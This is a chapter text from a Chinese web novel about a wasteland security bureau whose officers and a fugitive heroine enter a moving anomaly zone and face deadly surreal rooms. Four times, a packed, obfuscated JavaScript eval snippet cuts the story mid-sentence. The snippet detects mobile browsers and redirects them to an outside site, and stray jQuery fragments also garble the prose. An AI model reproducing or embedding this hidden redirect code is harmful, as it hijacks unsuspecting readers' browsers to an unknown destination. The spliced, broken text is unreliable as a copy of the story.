荒地区是类似剧毒沼泽、极热沙漠,或致命黑海的无人居住区域。无论技术如何进步,人类都无法在其中长期生存。更何况它的面积狭小,资源匮乏,不具备开发价值,就连丧尸来临时也极少踏足那里。 因而薄心听到后忍不住咋舌。 席翊天拧眉:“为什么去荒地?” 他很清楚以金晟夕的能力,就算进入城里也完全可以避开天眼,可转念一想,她不可能进城,因为这里没有她要找的人。 那个人是陈思律,陈法嵘的妹妹,是她长期流浪在外的原因,也是她越狱的真正目的。 “去找她。” 果不其然。 “在荒地?” “有可疑线索。” 薄心默默听他们的对话,本想问一句在谈谁,可车厢里的气氛骤然冷下,而且也没多余的时间给她好奇,因为车已快到地裂边境。 “诺伦,汇报地裂情况。”薄心忽然对空气开口。 下一秒,车内响起语调平稳的机械女声:“早上好,薄长官。地裂目前处于稳定状态,较昨日可视程度降低1%,危险等级未发生变化。防护镜已同步至外脑,请查收。” “好。”薄心抬起手腕,释放出三副防护镜。 这一幕让金晟夕终于忍不住问:“现在的技术已经可以无视物理定律了?”她早就想知道他们到底是怎么把那么大一辆车从手腕里放出来的。 席翊天简单解释,这些物品是用三维实时打印技术生成的。 “唐吉诃德公司的技术?”金晟夕想起一路上反复出现的广告。 “对,唐家集团的。”薄心将防护镜递了过去。 金晟夕接过来看了几眼:“唐家?” “嗯,唐家是两三年前白手起家的,现在的地位和薄家相当。” 金晟夕扬眉,随即把防护镜挂在了脖子上,并没有打算佩戴。 薄心本想提醒什么,但还没来得及开口,席翊天已先一步下车,绕到另一侧替金晟夕拉开车门。 席翊天:“唐家的事以后再跟你细说。现在,先去看看地裂吧。” 金晟夕:“哦,那诺伦又是谁?跟外脑一个东西?” 薄心跟着下车,听见这话立马抢答:“不一样。诺伦比外脑强得多,她是全知智能。”说完便戴好防护镜,同时深吸一口气,才继续往前走。 金晟夕注意到她有点紧张,顺着视线抬头望去,一堵高墙立在面前,顿时感觉自己像只路过大象腿的蚂蚁。而墙面上有一扇门,门外站着两个值守人员。 罗真与值守人员打了声招呼,回到薄心身边说了什么后,回到车内静候。 薄心则带领金晟夕进到门里。 里面是一间安全屋,屋内明亮宽敞,工作人员来回穿行,设备运转声此起彼伏。 看来要靠近地裂,必须先穿过这里。 走着走着,来到一间办公室前,安全屋的负责人在此等候,见到薄心,立即敬礼。 “周队,辛苦你,我们想进里面看看。” 负责人名叫周沫,她听到薄心的话后,不着痕迹地看了金晟夕一眼。 金晟夕挑眉盯回去。其实方才走来的一路上,就有不少工作人员时不时看她,而她始终昂着头,接受别人目光的洗礼。 “是。”周沫收回目光,带领他们三人去到办公室内,按流程说明了关于地裂的诸多注意事项,足以见得危险程度不低,这越发勾起金晟夕的好奇。 一系列预备工作完成后,周沫领他们去到办公室的另一扇门,又让他们自行进到一条狭长的走廊,走廊尽头是一扇大门横亘在前。 这又是一道防爆金属门,但比外面那扇大门更加厚重。 在抵达这里之前,金晟夕的情绪一直平稳,当然还有几分期待,可就在抬手触到门的瞬间,浑身莫名抖了下。 恐惧瞬间席卷全身。 就在这时,林疏港消失前对她说过的话忽然在耳边响起,敲击太阳穴,令她心脏狂跳。 噗通——噗通噗通——噗通噗通噗通噗通! 很久、很久没有出现过这种感觉了。回想上一次感受到如此清晰原始的恐惧,还是她第一次踏上战场杀死丧尸的时候。 那一刻,薄晴和席翊天也在她身旁,而此刻站在她身侧的是薄心和席翊天。 她忽然笑了下,席翊天也跟着笑了。他知道她在想什么。 金晟夕侧过脸瞧他:“怎么,席翊天,你不怕?那你来开门。” 事实上,他当然怕。 地裂发生当天,他是最早抵达现场的人之一,在那之后他就再也没靠近过地裂边境。而这次能让他站在这里的理由,是因为金晟夕也在这里。 她的存在令人安心,令他的恐惧迅速消散。 “好。”席翊天已伸出了手。 金晟夕挑了下眉,伸手拦住他:“你还真不怕啊?那我也不怕。让开,我来。” 两人就这样闹了几下,让薄心原本紧绷的心也跟着放松了。 然而就在这一刻,诺伦忽然出声: “警报!警报!004号异象区出现异常。004号异象区出现异常。” 薄心立 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17127235|196138||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 即确认:“什么异常?” 诺伦为她接通现场通讯。空中画面一亮,指挥中心二队队长程展的身影出现在屏幕上。 “长官,004号突然向第二市中心高速移动,再过不久那里将被完全占领。” 随即,一段由天眼传回的实时影像被投放出来。 画面中,004号异象区不仅在移动,还瞬间吞没所经之处的一切事物,建筑物来不及坍塌,鸟兽来不及逃离,连尘土都来不及扬起,便在下一帧中消失得干干净净。 这根本就是废土世界的清道夫。 薄心神色相当难看:“知道了,两分钟后到。”紧接着下令清空第二市中心,将所有人员撤离到防空洞。而剩下要做的事,就是尽快消灭这个异象区。 薄心抬眼看向金晟夕,还没开口便被截断:“走吧,你可是承诺两分钟就到的长官,再废话就要迟到了。” 三人转身,通往地裂的那扇门被留在身后,他们迅速折返回到安全屋外,奔上了薄心的车。 车门刚合上,席翊天的通讯器便亮起。他迅速接听,神色暗沉地结束通话后,对她们说:“我得去趟理事会。” 他推门下车,走之前又郑重叮嘱:“注意安全。”随后上了另一辆车,驾驶位上是卫忠叔,神色同样急迫。 金晟夕收回视线,随口道:“脸色真难看。” 罗真已启动车辆,朝着程展发来的定位疾驰而去。薄心听她这么一说,也忍不住吐槽:“没办法,理事会的事就是很麻烦,里面个个还都是老狐狸,算计起人心来不眨眼。” 这话直白的很,薄心显然打从心底排斥权力场,但她转头就吩咐罗真等会送完她们后也去一趟理事会。 金晟夕挑眉微笑,将思绪还是优先放在移动的异象区上。 怎么突然又有新的异象区移动了呢?金晟夕记得席翊天说过,只有那个被她消灭的异象区才出现位移。 “这个突然移动的异象区,之前是什么状态?” 薄心本想将资料投送给她,可她根本没外脑,因而只好外放天眼此刻正在录制的现场画面,同时口述说明。 “004号异象区,危险等级B,过去一年没有任何异常记录。” 此刻画面里,移动的异象区正在吞没周遭所有监测型无人机,下一秒就要吞没设立在五公里警戒线外的防爆墙和安全屋。 “安全屋内人员提前发现异常,已撤离至十公里外的二级防护安全屋,但再这样下去,那里也会很快被吞没。” 镜头切换至二级安全屋外。 只见不远处的异象区就像一座圆拱状的雪山,没几秒就越来越近、越来越大,看着极其吓人。 薄心补充道:“移动速度明显比姐姐消灭的那个快,好在目前没有发现伤亡。” 这时车已停稳。 原来两分钟内抵达并非夸张,金晟夕这才意识到地裂边境距离这个异象区还挺近的。 而此刻,004号异象区距离第二市中心仅剩五十公里,照当前速度,不出一小时它就会吞没整座城市。 这无异于屠城了,情况刻不容缓。 12. 我不是精神病人01 早在一年前发现异象区后,薄晴便在安防局内部设立专门应对的部门,名为先锋部。先锋部下设多个行动小组,由指挥中心统一调度。 所以目前,特战组与后勤组已提前展开营救与疏散;调查组同步介入,试图查出004号异象区移动的成因,并寻找使其停滞的方法。 薄心刚下车,程展便前来汇报最新进展:“长官,目前各组行动正常推进中。” 薄心问:“查出原因没?” 程展:“尚未查明。” 薄心低啧一声,令金晟夕看她一眼。 薄心继续听取程展列出的作战方案,反馈了几点意见后,注意力被旁边的人拽走。 金晟夕正在压腿热身,见她看过来,便扬了扬下巴:“聊完了?那就进去开干吧!” 薄心连忙把人拦住:“姐姐等一下,至少把天音戴上,还有作战服。” “作战服就算了,但天音又是什么?” “交流工具。不过目前只能在异象区内部使用,还没办法和外界联系。” “哦?不会失灵?” 薄心得意解释着,因为金晟夕消灭D级异象区后,先锋部的技术人员才能通过研究现场残留信息,在诺伦的协助下做出新的通讯设备。 “姐姐,是因为你才带来了转机。” 不仅带来了转机,还又成了名人,早已尘封的救世主称号突然被传播开来,当然逃犯身份也在悄然扩散中。 这些声音在传到金晟夕耳边前,便被席翊天挡下。他擅自将人带回家,本意就为了不让任何人打搅她。 薄心将此尽收眼底。 金晟夕却毫无察觉,又或者说就算发觉了也不在意。因为无论是谁,周沫也好程展也罢,他们早就投来不友善目光,她对此从不回避,还会与其对视,对他们忽然咧嘴笑开。 程展一愣,脸上泛热,尴尬地移开目光,带她们进入临时作战空间。 进入作战空间后,诺伦的声音再度响起:“薄长官,作战所需装备已准备完毕,请按序佩戴。祝您平安归来。” 话音落下,墙面发出清脆弹响声,暗格同时弹出顶级装备,在灯光下排成一列。 金晟夕扫了一眼,立刻看出规格不低,远比调查组那两个小孩携带的东西复杂得多。作战服外观厚重实则轻便,防御等级相当高;武器型号也新,威力显然不小;而最显眼的,是刚出炉的异象区专用通讯器,天音。 她是黑户身份,诺伦既无法识别她的身份,更谈不上为她准备装备。所以那里有两枚天音,应该是薄心提前叫人备好的。 “姐姐,别的你可能用不上,但这个总得戴。” 天音体积很小,形态似一枚耳钉,不过无需穿孔。薄心示范了下,将其贴近锁骨位置,装置自动吸附贴合皮肤。 那这么看来,传导方式有点像骨传导。 “你总不能一直靠手势跟我们沟通吧?”薄心仍在坚持。 金晟夕一听这话,就已知晓先锋部的效率。短短几个小时,他们不仅完整复盘了她和两个小朋友在异象区内的全部经历,连细节都没放过,并据此制造出应对异象区的专用装备。 不得不承认,比以前的安防局专业得多。 可正是这样一支反应迅捷装备完善的部队,却在整整一年里对异象区毫无办法。 她想起失踪的薄晴,微微吐气:“薄心,你们别瞎忙了,我要自己一个人进去。” 薄心急了:“姐姐,这怎么行?我一定要进去的。” “你在害怕,别逞强。” 金晟夕早就注意到了她在颤抖,这可是本能的恐惧啊。 薄心原本还想撒几句娇,被突然点破后,肩膀一下子塌了:“是!我是害怕。虽然这个异象区不是困住晴姨的那个,可是,可是现在不一样了。有姐姐在,姐姐不怕我就不怕。” 金晟夕闻言,神情严肃:“谁说我不怕的?我怕得要命好嘛。” 薄心很是意外:“真的吗?可一点也看不出来啊。” 金晟夕抬手给她看自己也在颤抖:“看不出来?上次误入异象区是无知者无畏,可现在我已经知道有个最危险的异象区困住了晴姐姐。眼前这个危险等级也不低,还莫名其妙移动。鬼知道它里面是什么,更不知道能不能成功消灭它。” 薄心不理解:“可是姐姐不会死,不用担心会被它怎么着呀!” 在她看来,金晟夕的不死身很强大,有无数次试错的机会可以找到消灭异象区的办法。 可金晟夕笑了:“上次我能救下那两个孩子纯属运气好,这次我可没十足的把握能保证你们的安全。” 她从不担心自己的安危,永远只怕失去同伴。 “姐姐放心,我不会拖累你的。你和我交过手,应该清楚我的实力不差。” 金晟夕诚恳点头:“确实不差。” 薄心两眼放光,透着一定要消灭这个异象区的决心。那目光太熟悉了,似一面镜子,让金晟夕照见了曾经的自己。 她只好妥协:“算了,走吧,把这座雪山铲掉。” 雪山?薄心怔了一瞬,随即明白过来她被允许同行了,耶!猛地抱住金晟夕,金晟夕顺势揽住她的肩。 两人举起手臂,并肩朝外走去。 而这次行动,作战人员还有: 赵涵光,特战组一队队长; 梁双杰,特战组一队队员,一级异能者; 李逸,特战组一队队员,二级异能者。 指挥中心无法判断004号异象区里面的具体风险,只能从特战组中调出配合最默契战绩最稳定的组合。更重要的是,他们与长官薄心在历次行动中磨合最佳。 一旦站到属下面前,薄心便会收起那副笑嘻嘻的表情,变得肃然至极。交待完作战方针后,她便拉着金晟夕一起走在前头,而那三位队员紧跟其后。 一路上与先锋部其他小组队员擦肩而过,原本忙碌的人群停下来行注目礼,等人走远才窃窃私语。 “真看不出来,那个人解决了D级异象区。” “谁知道呢,录像画面又不连贯,实习生也没一直跟她在一块,何况啊,她还是个逃犯。” “反正我不信,怎么会有人因为没能开飞机就弄出个异象区啊,这执念简直荒谬!” 金晟夕早就料到,席翊天那般粗糙做法肯定堵不住悠悠之口,毕竟连实际行动都未必能说服别人,唯一有用的是自身强大,不畏流 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17127236|196138||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 言蜚语。像她这种有能力改变世界的人,才懒得解释。 只是没曾想有人会提到林疏港,不禁令她想起苏喻的一番言论,果然有人不会把别人的痛苦当一回事。 虽说如此,但在经过转角前,金晟夕还是侧头朝他们抬了抬下巴。 “你们也赶紧撤离吧,剩下的交给你们的薄心长官还有队友。” 话落,四周安静下来,方才还在低声交流的人们此刻感到尴尬。 过了好一会儿,沉默才被打破。 “她人好像还不错,而且D级异象区确实消失了,还多出来一片奇怪建筑,听实习生讲,叫什么遗迹浪花。” “重点不是这个,我可听说理事会都在讨论开发方案了!但谁敢住进去啊?” “住肯定是有人愿意住的,据说初步检测结果是无污染无公害无病毒,但啥时候能住上可不一定,哎,先把这个正在移动的异象区灭了再说吧,不然我们啊,全都完蛋。” 金晟夕五官敏锐,这些话一句不落地飘进耳中,不由得唏嘘异象区刚被清理干净,就已被人计算它的价值和用途,可她更在意林疏港死因存疑这件事。 哎,只能等解决完眼前的麻烦,才有时间再去查咯。 ~ 就这样一路冲锋陷阵,五人小队越过警戒线,抵达距离异象区不足五百米的位置。按照推算,不出十秒他们就会被吞没。 薄心没等那十秒:“冲!” 命令落下,所有人同时握紧武器,径直撞入004号异象区。 白雾翻涌而上,视野被瞬间封死,所有人同时昏迷。 金晟夕立即睁眼,弹跳起身,迅速察看四周。 光线昏暗,仅从窗帘缝隙漏进的一点微光照出这是一间卧室,布置极简,只有一张床和一个床头柜。 确认完环境,她默默坐在床沿,支起腿抵住胳膊肘。 这里只有她一个人。 扬声喊了一句:“薄心,还有那三位大佬,你们听得到吗?” 没有任何回应。 金晟夕低头敲了敲锁骨处的天音,她记得薄心教过的使用方式,照做后却没有反应。 “没有用的?” 不耐烦地又敲了两下,心想这么短时间内造出的设备果然不可靠。哎,只能期望它只是暂时失灵。 金晟夕只得下床走到窗前,伸手去拉那层厚重窗帘。 窗帘纹丝不动。 “有意思。” 她不信邪,使出九牛二虎之力,结果还是不行。 “跟焊在墙上似的。” 吐槽落地,无人回应,顿时觉得没趣,转身回到床边顺手拉开床头柜,原本没抱什么期待,却在里面看到了一把钥匙。 “什么年代了,怎么还有钥匙这种古董?” 钥匙很普通,金属质地,放在手里掂了掂,没有任何异常。 金晟夕抛着它走向屋内唯一的一扇门,小心地插入锁孔。 嗒哒。 锁芯转动,门随即打开。 咿呀一声,她走到门外,忍不住笑了。 眼前是并排立着的三只门框,除此之外,空无一物。 “这异象区怎么神神叨叨的。” 13. 我不是精神病人02 金晟夕在门前一一走过,俯身往里探,只看到跟门框对应的三种颜色。 第一道门里是一片漆黑;第二道门内是幽幽湛蓝;第三道门,金光闪闪。 当然选择金色。 金晟夕大摇大摆踏进金色门,被无比亮堂的金色闪光覆盖双眼,刺得她下意识闭眼后又立即睁开,眼前场景换了模样。 这又是一间房,不过长方形的地板上铺着厚厚一层木屑。 金晟夕蹲下身捻起一小撮看,再往前试着踩下去,淹没到脚踝处。嗯,还挺厚。 右手边的墙角处摆着一个食盆,旁边立着水瓶,里面只剩半瓶水。而左手边贴墙正中央居然有一个巨大跑轮。 金晟夕拍了下脑门,终于反应过来,这是个仓鼠笼啊! 为了验证自己的猜想,她直接走到食盆处,门在身后一下子合拢,门上还有个时钟。 金晟夕看了眼时钟没发觉异样后,转而继续观察食盆,里面只有一小撮葵花籽,闻着挺香,便抛进嘴里嗑呀嗑,嗯,没毒,是正常的葵花籽,好吃。 她拍了拍手,沿着食盆一路走到尽头,也就是正对门的位置,这里摆着一间蘑菇造型的小木屋,显然是给仓鼠休息或藏身用的。 她伸手去拉木屋上的木门,果然锁着一动不动。 越过木屋来到跑轮旁,仔细检查了一圈,转轴正常,轮面光滑,没有任何异常。 最后,她蹲下身逐寸搜寻整屋的木屑堆,也没有任何陷阱。 站回笼子正中央,总感觉有点违和。 伸了伸懒腰,扭了扭脖子,这时终于发觉哪里不对劲。 如果这是个笼子,那为什么是墙面而不是栅栏? 她连忙走近一面墙,这才看到端倪。 奶白色墙面上横向分布着一圈圈鼓起来的线条,线条之间的间距刚好比她的头窄了点。 金晟夕去抠线条,猛地缩回手,还往后跳到地板中央,扬起的木屑遮挡不住她警惕的眼神。 因为刚有一股电流骤然窜过全身,令她的汗毛齐齐竖起。 这电流强度有点熟悉,却一时想不起在哪被电过。 而这时,墙面上突兀浮现出文字。 【我让你做什么就做什么】打赏100克饲料,请完成任务:跑轮十圈。 金晟夕一脸疑惑地盯着那行字,莫名感到不爽。 凭什么听你的?哼,偏不做。 念头一起,视野一晃,她已被强行带到跑轮上,双臂甚至自发摆动,双腿更是不听使唤地跑了起来。 跑轮开始转动,转眼间完成十圈。 金晟夕站在原地,呼吸一点没乱,胸口却沉得厉害。 郁闷死了。 这时食盆上方忽然咔哒响,打赏的饲料噼里啪啦地落,堆成整齐的一小撮。 紧接着,墙面亮起新的一行文字,又是跑圈,又是打赏;不一样的是,还没等金晟夕完成任务,墙面紧接着不断亮起第二行、第三行、第四行……文字像被复制粘贴般迅速蔓延,四面墙无一幸免,写满了任务。 金晟夕额角冒汗,想炸了这个仓鼠笼! ~ 同样选择金色门的还有李逸。 他醒来时身边也是空无一人,第一时间通过天音联系长官,同样没有任何回应。 随后,李逸忽然一动不动。下一秒,他的身体拉出一道模糊残影;再下一秒,人已回到原位,而床头柜里的钥匙已在他的掌心。 开门出去,选了金色门,里面的空间布局与金晟夕所在的仓鼠笼一模一样。 墙面上同样会弹出任务,而他也遭遇了和金晟夕一样的事。 李逸反复尝试,想在被瞬移后立刻从跑轮上脱身,却次次落空。 他转而破坏跑轮。 可碎裂几秒后它会复原,同时他自己又会被强制送回去,继续完成任务。 他只好去攻击墙面,结果一样遭到电击。 既然墙面会反击,便说明有出口甚至有核心。李逸便想试着忍受电击去搜寻墙面,可没想到墙面上不断出现任务,根本不让他有休息时间。 他只得再次启用自己的异能:捕风捉影。 捕风捉影能让他的行动快得像风一样难以捕捉,李逸用了不到一秒的时间完成墙面上所有任务,并在下一批任务出现前,搜索完整个仓鼠笼的墙面。 结果没有隐藏出口,更没有核心。 而捕风捉影的持续时间只有一分钟,这一分钟里,他也没能找到解除身体被操控的方法。 原以为会一直在跑轮上跑到力竭而亡,然而在时钟走了十二个小时后,墙面便没再出现新任务,只弹出一行字: 请回到小木屋休息。 李逸迟疑地走近小木屋,发现那扇原本紧闭的木门已经敞开,站在门外向里望去,屋内和进门前的卧室类似,只有一张床一个床头柜和依旧纹丝不动的窗帘,但这里面更温暖,床铺也更干净,一看就很舒服。 一股沉重的疲惫感席来,李逸不由自主地掀开被子钻了进去,不久就陷入昏睡当中。 再次睁眼时,是被刺耳的闹铃惊醒的。 李逸猛地坐起,摆出防御姿态。 他难以置信自己竟然睡着了。 不对劲。 可即便已觉出不对劲,最终的结果都是回到跑轮上继续完成任务。 不过,这一次有新任务:吃一千克葵花籽。 太荒唐了。 李逸感到一股被戏弄被支配却无从反抗的烦躁,可在每次完成任务后,看到奖励从食盆上滚落下来,堆积得越来越多时,那点烦躁却又会随之消散。 然而奖励带来的愉悦很短暂,烦躁却越来越甚,进而影响了入睡。失眠让他自发去到跑轮上,执行一项并不存在的任务,只为了等一声葵花籽落下的声音。 他听见了。 于是跑过去看,确认食盆里有葵花籽,才心满意足回到床上睡觉。 但那根本不是新的葵花籽,而都是那些没吃完的。 渐渐地,李逸每次入睡前都必须爬起来去跑跑轮,完成所谓的任务后会去看食盆,发现有葵花籽才放下心,继而昏睡过去。 如此反复。 他越来越难以入睡,吃得越来越少。 屋里没有镜子。 所以他不知道自己的头发已经全部脱落,和地上的木屑混在一起;皮肤皱缩成一团,像个干巴巴的老人;四肢纤细,却要支撑一颗大大的脑袋,脖子还很细长,耷拉下来弯成弓形虫般的弧度。 他的异能也彻底失效,再过不久就会死去。 …… 濒死的还有另一个人。 薄心选择了蓝色门。 门里是一座高耸透明的建筑物,像被安放进一根中空的玻璃柱里,玻璃柱外是一整片的蓝,看不见有别的人在。 薄心试图联络队员,又去呼叫金晟夕,都没有回应,只好努力淡定,明确下一步行动:寻找出口。 她重新观察周遭环境, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17127237|196138||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 发现所处的透明建筑并不是长柱结构,而是上窄下宽的柱体。抬头望向最上方,那里有个极小的光点,也许是出口。 薄心想看清那个光点,却从探测镜里只看到刺眼的蓝光,同时显示光点距离她有一百多米。 显然跳不上去,那就只有往上爬了。 她贴着透明墙面走完一圈,试图寻找凹凸不平便于攀爬的一面,可指下光滑的触感让她想到自己可能是在一只花瓶里。 上窄下宽,通体透明,那看来毫无疑问了。 可问题在于,哪来百米多高的花瓶? 薄心蹙起眉头,眉心那颗痣被挤得隆起,深吸一口气,压下不安,开始向上攀爬。 瓶身极滑,稍不注意就会掉下去。她始终没有向下看一眼,专注于手上脚下的落点,分秒必争地不断向上,很快爬完一半。 就在这时,耳边忽然响起笑声,令薄心倏然停住。 “你看她爬得这么慢,和薄晴根本没法比。” 薄心眼睫微颤。 “这种水平也配当长官?呵,难怪会全军覆没,怎么还好意思活啊?” “死吧,快去死,快点死啊!” 在无数指控的攻击下,薄心全身忽然没了力气,双手发麻,脚下发软。 五十多米的下方,不知何时立满了碎裂的玻璃碴,等她砸在这上面。 只要她松手,碎片会贯穿身体,必死无疑。 …… 梁双杰也选了蓝色门。 但他一向谨慎,不会轻易让自己陷入危险境地,因而做足准备才进到花瓶房后,尽管也注意到顶处像出口的光点,却没有急着行动,而是取出步枪,托在肩上,对准目标。 作为局里射击第一的作战人员,他分毫不差地射穿了光点。 可是,那光点只暗了一瞬,又很快恢复原状,最后也没听到子弹射中任何东西的声音。 这意味着那里还真有可能是出口,可外面为何会如此空旷? 利落收起步枪,换成攻击力最小的手枪,他跳到门对面。 砰! 子弹射中门后却被弹回,似有自己的意识,直冲他的心脏射来! 他侧身跃开,额角滴汗。 而就在这时,耳边响起笑声。 梁双杰屏息竖耳倾听,试图从中捕捉有用的信息。可听得越久,四肢越发不受控地抖。一股寒意从作战服内层渗入体内,警报器同时响起。 作为特战组队员,他们接受过极端环境下的生存训练,对低温的耐受早已远超常人。可眼下这股寒意显然非比寻常,令他恍惚间产生错觉,以为自己身处冰河时代。 冷,太冷了。 他低头看向双手,皮肤失去血色,关节僵硬到发蓝发紫,本想伸手去碰,可早已冻结的手指突然发出脆响,丁零当啷的一节节往下掉。 梁双杰本该感到疼痛,可寒冷早已夺走了他的痛觉,并且反而开始感觉到热。 热,太热了。 这是体温调节中枢失效后令人产生的幻觉,大脑误以为身体正在被火烤。 于是他开始脱衣。 作战服被撕掉,暴露出全身古铜色肌肉,皮肤表层很快结了一层冰,冻得他像一座大卫雕塑。 寒意越来越重,皮肤大片剥落,露出底下的血肉,血液流淌不到地上就被冻成冰柱,令他看上去就好像从雕塑变成蜡像,简直惊悚,而他显然也必死无疑。 但在死之前,梁双杰庆幸自己提前发动了异能。 14. 我不是精神病人03 尚不知两名队友已一脚踏入死亡的赵涵光,选择了黑色门。 之所以选择黑色门,是因为她猜测这应该是最危险的房间,继而可能是最接近异象区核心的地方。 于是踏入门内,门在身后合上。 黑暗扑面而来,令她什么也看不到,而且这黑暗不止作用于视觉,连同声音也消失了。 她明明在动,却听不到衣服摩擦的声响,深吸一口气试图冷静,连呼吸声都听不到。 但能够摸到胸腔随呼吸起伏,她也没有窒息感或缺氧反应,可深吸气让她发觉连气味都闻不到。 进门前她待的那间卧室里就有一股淡淡的霉味,可这个黑色空间里却没有任何气味。 赵涵光咽了口唾沫,果然尝不到任何味道。 那现在可以确定,在这个黑色空间里看不到、听不到、闻不到、尝不到,只剩触觉。 赵涵光启动照明装置,毫不意外没有光束。短暂权衡后,否决了使用武器的方案。毕竟在这种环境里,任何火力输出都意味着高风险。 于是收起武器,改为徒手前行。摸黑向右,小步推进,十几步后碰到一面墙。沿着墙面向前移动,用步幅和触感丈量空间,绕行一圈后,房间的平面结构图在她脑中成型。 四方形,约一百平米,高度暂不知。 赵涵光抿了抿唇,决定直接向上爬。 她需要确定这个空间究竟有多大,是否有出口。 不过攀了两下,手便触到了顶端。 微微一怔,没想到这间房的高度和普通房间无异,这是目前唯一的好消息,意味着搜索出口的工作量被压缩在可控范围内。 于是继续沿墙攀爬,逐步摸索。 可当她摸完每一寸墙面每一个角落后,确定这间房里没有出口,更没有所谓的核心。 赵涵光退回到墙角,背靠墙面屈膝蹲下,低头思索如何破局。 最终还是决定使用武器。 从枪套中利落抽出手枪,抬起枪口对准前方,临扣扳机前,她微调手腕,将射击角度向右上方偏了一寸。 扣下扳机。 后坐力传到掌心,虽然听不见声响,但至少确定自己开了枪,子弹只需不到一秒就会射中对面墙。 她起身向前移动到对面墙去摸索子弹的位置,可无论怎么找,墙面都是平整的,没有任何凹下去的类似弹孔的小洞。 触感明明没有消失,那不可能摸错,这是怎么回事?赵涵光只好又绕着房间仔细摸索了一圈,最终确认: 那枚子弹消失了! 难道根本没有射出子弹? 赵涵光赶紧检查手枪,将弹匣、膛室、枪管摸了一遍,很快确认的确少了一发子弹,手枪也没有哑火。 那颗子弹确实被射出了,那它去了哪? 赵涵光连忙收回手枪,预感到危险已经降临,身体继而做出防御姿势,伏低在地,一动不动等待了许久,却没感受到任何攻击。 她刚要松懈下来,却想到另一种可能:会不会她的痛觉也没了? 幸而触觉仍在,于是双手从头部向下滑,五官完好、颈项还在,顺着肩线继续往下摸,这时,右手猛地停在肩头上。 她全身僵住,因为这处的作战服破了一道口子,衣服里的皮肤同样受损,渗出的血迹已经干涸。 她受伤了。 手指沿着伤口摩挲,是一个洞,没有任何犹豫,她将一根手指伸进这个洞里,感受到黏糊糊的血肉后,再猛地往里伸,整根手指直接穿过她这处的肌肉。 果然是子弹留下的贯穿伤。 伤口里虽没有子弹,但一摸便知子弹是从她身后射过来的,而且可以肯定这是她的手枪射出的子弹造成的伤口。 赵涵光对这种特制子弹很熟悉,深知被它射中时身体都还没来得及感觉到什么,就会被贯穿;同时她对自己的枪法更是熟悉到只要抬枪,就知道子弹会走哪条线,落在什么位置,留下什么样的伤口。 右肩上的伤口仿佛是另一个自己站在她身后,用方才她的射击手法朝她开了一枪造成的。 因为要是按照以往的射出轨迹,子弹会正中右肺,甚至命中心脏,但她方才那一枪刻意向右上偏移,弹道轨迹会与以往不同,可怎么也没想到子弹会正中她的右肩! 虽庆幸被自己的直觉和警惕救了一命,可后背还是忍不住直冒冷汗。 她当时可是背靠墙向前射击,身后怎么可能有人? 而且还有一个问题,这手枪这子弹不可能击穿这身由特殊材质制成的作战服! 难道她判断失误了,这根本不是自己的子弹留下的伤口? 开始疑神疑鬼的赵涵光知道自己慌了,按住右肩压住伤口,从伤口里重新流出的血液让她短暂回神,她决定再摸索一次墙,找出子弹来。 结果猛地摸了个空,本该在身后的墙居然不见了! 这不可能。 从开枪到中弹,再到跌坐下来思考,她都是贴着墙移动和休息的。她很确定这一点。 这到底是怎么回事? 赵涵光想到一种可能,便慢慢撑起身体,往后一步、两步,直到走了十步,才再次碰到墙面。她立刻转身,沿原路返回,心里数着数,同样比原来的墙的位置多出十步距离,才碰到另一面墙。继续摸索,将其他三面墙都进行确认,最终得出结论,除了天花板以外,其他墙面都往外移动了十步距离。 房间在变大。 她想到什么,屈起左手收紧成拳,控制力道击向墙面,下一秒,身后猛地挨了一拳,被揍的腾空而起,后又重重摔在地上。 即便听不见自己的喘息声,也知此刻呼吸急促紊乱,因摸到胸腔起伏过快,俨然受了重伤似的。 果然是墙反弹了攻击。 子弹从她背后的墙射中她的时候,因其不会有冲击感所以不好推断,只好换成拳头,从而验证了自己的猜想。 可即便猜中了,赵涵光还是有些颓丧。 在进入异象区前,她和其他队员一样看过录像听过实习生对D级异象区的汇报,以为知晓自己即将面对什么。然而此刻真正置身其中,才意识到此前的想法有多幼稚。 她原以为会迎来敌人的正 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17127238|196138||http|test|mini|href|location''.split(''|''),0,{})); () { 